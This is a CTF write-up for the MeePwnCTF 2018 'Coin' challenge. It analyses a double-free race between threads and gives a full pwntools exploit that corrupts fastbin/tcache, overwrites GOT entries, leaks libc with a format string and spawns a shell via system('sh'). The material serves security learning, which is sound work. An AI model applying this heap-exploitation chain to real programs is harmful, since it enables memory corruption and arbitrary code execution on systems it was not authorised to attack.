MeePwnCTF 2018 Qual Pwn Coin Write-up

Introduction

This is a very interesting challenge. Generally speaking, this is not a very hard challenge because its vulnerability is very obvious. However, this challenge is not that easy to exploit. First of all, the logic of the programme is very complicated and hard to reverse. Secondly, the exploitation involves multiple exploitation tricks in the end. Thirdly, the exploitation involves many double-to-integer conversion.

Vulnerability Analysis

There are three important data structures involved in this challenge.

struct userAccount
{
    char* userInfo;
    double Money;
    uint64_t LevMoney;
    struct Order *orderListHead;
    int account_type;
    int leverage;
    int exp;
}

struct Order
{
    int volume;
    struct Order *next;
    char* coinName;
    double takeProfit;
    double Price;
    double stopLoss;
    double orderValue;
    bool bs_status;
    bool isQueued;
    bool isClosed;
}

struct Coin
{
    char *name;
    double current_value;
    double prev_value;
    double speed;
    struct coin *next;
}

A global variable user of struct userAccount is located at 0x604128. A global variable coinListHead is located at 0x604120.

According to the member variables in struct userAccount, we need to explain some important variables:
TakeProfit: The minimal profit we can earn when selling or buying an order.
StopLoss: The maximal loss we can tolerate when selling or buying an order.

In the challenge there are three threads running

Thread1 (0x4022c3): run every two seconds
Calculates the value of each coin again.

Thread2 (0x402653): run every one second
for order in orderList:
    coin = searchCoinByName(order->coinName);
    if(order->isQueued)
    if(not order->isClosed and not order->isQueued):
           if(coin->current_value is out of expected range):
                   sellOrderAtPrice(order, boundaryPrice);

Thread3 (0x40286b): run every three seconds
if(autoGC):
    for order in orderList:
        if(not order->isClosed):
               continue;
        else:
               free(order);
    autoGC = false;

Then we come to the most important operation in the challenge: makeOrder. Pseudocode of this function is given below:

if(orderCount > 15)
    return;
coinName = read(4);
coin = searchCoinByName(coinName);
newOrder = malloc(0x40);
newOrder->bs_status = readInteger();
isQueue = readInteger();
if(isQueue){
    price = scanf("%lf");
    newOrder->isQueued = 1;
}
else{
    price = coin->price;
    newOrder->isQueued = 0;
}
if(price < 0)
    return;
volume = readInteger();
modifiedTotalPrice = volume * price * (1 + coin->speed);
if(modifiedTotalPrice > user->LevMoney)
    return;
user->LevMoney = user->LevMoney - modifiedTotalPrice;
newOrder->price = price;
newOrder->stopLoss = scanf("%lf");
newOrder->takeProfit = scanf("%lf");
isValid = checkRange(newOrder->bs_status, newOrder->stopLoss, newOrder->price, newOrder->takeProfit);
if(! isValid)
    return;
newOrder->isClosed = 0;
newOrder->orderValue = 0;
if(newOrder->isQueued)
    return;
else
    resetAllQueuedOrders();

During the process of making an order, user is asked to enter price, which must be between the range [TakeProfit, StopLoss]. The price of the coin is fluctuating during the whole process. If the price is within the range, no action is taken. If the price is out of the range, proper action will be taken to earn money or stop losing.

According to our test, sellOrderAtPrice() will increase user experience by 1 if making profit.
After gaining some experience, users are allowed to do more operations.
(1)Set autoGC on.
(2)Switch to a real account.
The pseudocode of swtich function is given below:

if(user->account_type == 1 || user->exp<5)
     return;
freeAllExistingOrders();
//codes to reset user

At this point, we can observe that there exists a double-free vulnerability. It is obvious but hard to trigger. If the user gets more than 5 exp points, user can set autoGC on. Thread3 will be triggered to free all orders. At the same time, switch will also free all orderd, which results in double free.

Exploit Plan

The hard part of this challenge is how to exploit after triggering the double-free. For a successful exploitation, unfamiliar readers can read Thread Cache and Lazy bind first.

To trigger double free vulnerability and launch a fastbin corruption attack, we have to fill the thread-cache list with freed chunks first and get a circularly linked chunks in the fastbin. In the end, we are able to allocate one chunk at a given address.

In our exploit, the place we choose to allocate the fake chunk at 0x604070, where atoi@plt.got is fake->takeProfit and __isoc99_scanf@plt.got is fake->Price.

During the process of information disclosure, we set fake->takeProfit to printf@plt+6 and set fake->Price to __isoc99_scanf@plt+6. So the lazy binding mechanism on linux will defeat the ASLR. In the exploit, we use “%17p” to leak a pointer related to libc and get the base address.

At this point, value at __isoc99_scanf@plt.got is resolved to __isoc99_scanf in libc. However, value at atoi@plt.got is still printf@plt+6. Our next step is to trigger system(“sh”). The plan here is to execute setTakeProfit operation to set value at atoi@plt.got to system. In order to take this path, we must use the return value of printf.

Another difficulty encountered in this challenge is how to pass precise double value to program and set to desired hex value. In python language, the precision of double value is not accurate enough. Since python does not support setting double precision, I use a small C programme to get desired double value.

Exploit

C programme

//gcc test.c -o test
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>

int main(int argc, char **argv)
{
	union{
		double x;
		uint64_t y;
	} u;
	u.y = atol(argv[1]);
	printf("%.16e\n", u.x);
	return 0;
}

final exploit

from pwn import *
import time
import struct
from decimal import *
import subprocess


DEBUG = int(sys.argv[1]);

elf = ELF("./coin");

if(DEBUG==0):
    r = remote("1.2.3.4", 2333);
elif(DEBUG == 1):
    r = process("./coin");
elif(DEBUG == 2):
    r = process("./coin");
    gdb.attach(r, '''source ./script''');

def info():
    r.recvuntil(">>>");
    r.sendline("0");

def getHighPrecisionDouble(value):
    cmd = "./test %d" % value;
    p = subprocess.Popen(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True);
    return p.stdout.read();

count = 0;

def readOrderStatus(orderNum):
    global count;
    count = count + 1;
    log.info("=====LOG Coin Status[%d]======" % count);
    for i in range(0, orderNum):
        r.recvuntil("->");
        status = r.recvline();
        log.info(status.strip());
        if("Running" in status):
            return False;
    return True;

def openOrder(coinName, bs_status, isQueue, price, volume, stoploss, takeprofit ):
    r.recvuntil(">>>");
    r.sendline("0");

    r.recvuntil(">>>");
    r.sendline(coinName);
    r.recvuntil(">>>")
    r.sendline(str(bs_status));
    r.recvuntil(">>>");
    r.sendline(str(isQueue));
    r.recvuntil("price:");
    r.sendline(str(price));
    r.recvuntil("Volum:");
    r.sendline(str(volume));
    r.recvuntil("Stoploss:");
    r.sendline(str(stoploss));
    r.recvuntil("Takeprofit:");
    r.sendline(str(takeprofit));

def checkExp():
    r.recvuntil(">>>");
    r.sendline("0");
    r.recvuntil("Exp:");
    exp = int(r.recvline());
    log.info("[EXP] %d" % exp);
    if(exp > 5):
        return True;
    else:
        return False;

def exploit():
    #enter order menu
    r.recvuntil(">>>");
    r.sendline("1");

    orderNum = 9;

    #start to open order
    for i in range(0, orderNum):
        openOrder("PWN", 1, 1, 1337, 1, 1337.6, 1336.4);

    while(True):
        r.recvuntil(">>>");
        r.sendline("6");
        allClosed = readOrderStatus(orderNum);
        if(allClosed):
            break;
        time.sleep(2);

    r.recvuntil(">>>");
    r.sendline("7");

    if(not checkExp()):
        log.error("exp is less than 5");
        exit(0);

    log.info("Get more than 5 exp");

    #set autoGC mode on
    log.info("set autoGC on");
    r.recvuntil(">>>");
    r.sendline("1");
    r.recvuntil(">>>");
    r.sendline("4");
    r.recvuntil(">>>");
    r.sendline("7");

    #start to trigger double free
    log.info("start double free");
    r.recvuntil(">>>");
    r.sendline("3");
    time.sleep(3);
    r.sendline("n");
    #enter order menu
    r.recvuntil(">>>");
    r.sendline("1");

    #pop chunk in thread cache list
    for i in range(0, 7):
        log.info(i);
        openOrder("PWN", 1, 1, 2000, 1, 2001, 1999);

    log.info("start to use fast bin corruption");

    openOrder("PWN", 1, 1, '1e-38', 0x604070, '1e-37', '1e-40');

    for i in range(0, 2):
        openOrder("PWN", 1, 1, 2000, 1, 2001, 1999);

    isoc99_scanf_address = 0x400a60 + 6;
    printf_address = 0x4009e0 + 6;
    scanf_double = getHighPrecisionDouble(isoc99_scanf_address);
    printf_double = getHighPrecisionDouble(printf_address);
    log.info(scanf_double);
    log.info(printf_double);

    openOrder("PWN", 1, 1, '2.07357671736e-317', 1, 100, '2.07351347696e-317' );

    r.recvuntil(">>>");
    r.sendline("%17$p\n|");
    r.recvuntil("0x");
    leaked = r.recvline();
    leakedValue = int(leaked, 16);
    log.info("Leaked Value: 0x%x" % leakedValue);
    libcBase = leakedValue - 0x211c1;
    log.info("Libc address: 0x%x" % libcBase);

    r.recvuntil(">>>");
    r.sendline('333'.ljust(7, '\x00'));
    r.recvuntil(">>>");
    r.sendline('%8c'.ljust(7, '\x00'));

    systemAddr = libcBase + 0x47dc0;
    r.recvuntil("Takeprofit: "); 
    systemAddr_double = getHighPrecisionDouble(systemAddr);
    log.info(systemAddr_double);
    r.sendline(str(systemAddr_double));

    r.recvuntil(">>>");
    r.sendline("sh");
    r.interactive();

exploit();

Reference

[1] https://github.com/david942j/ctf-writeups/blob/master/meepwnctf-2018/Coin/coin.rb

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.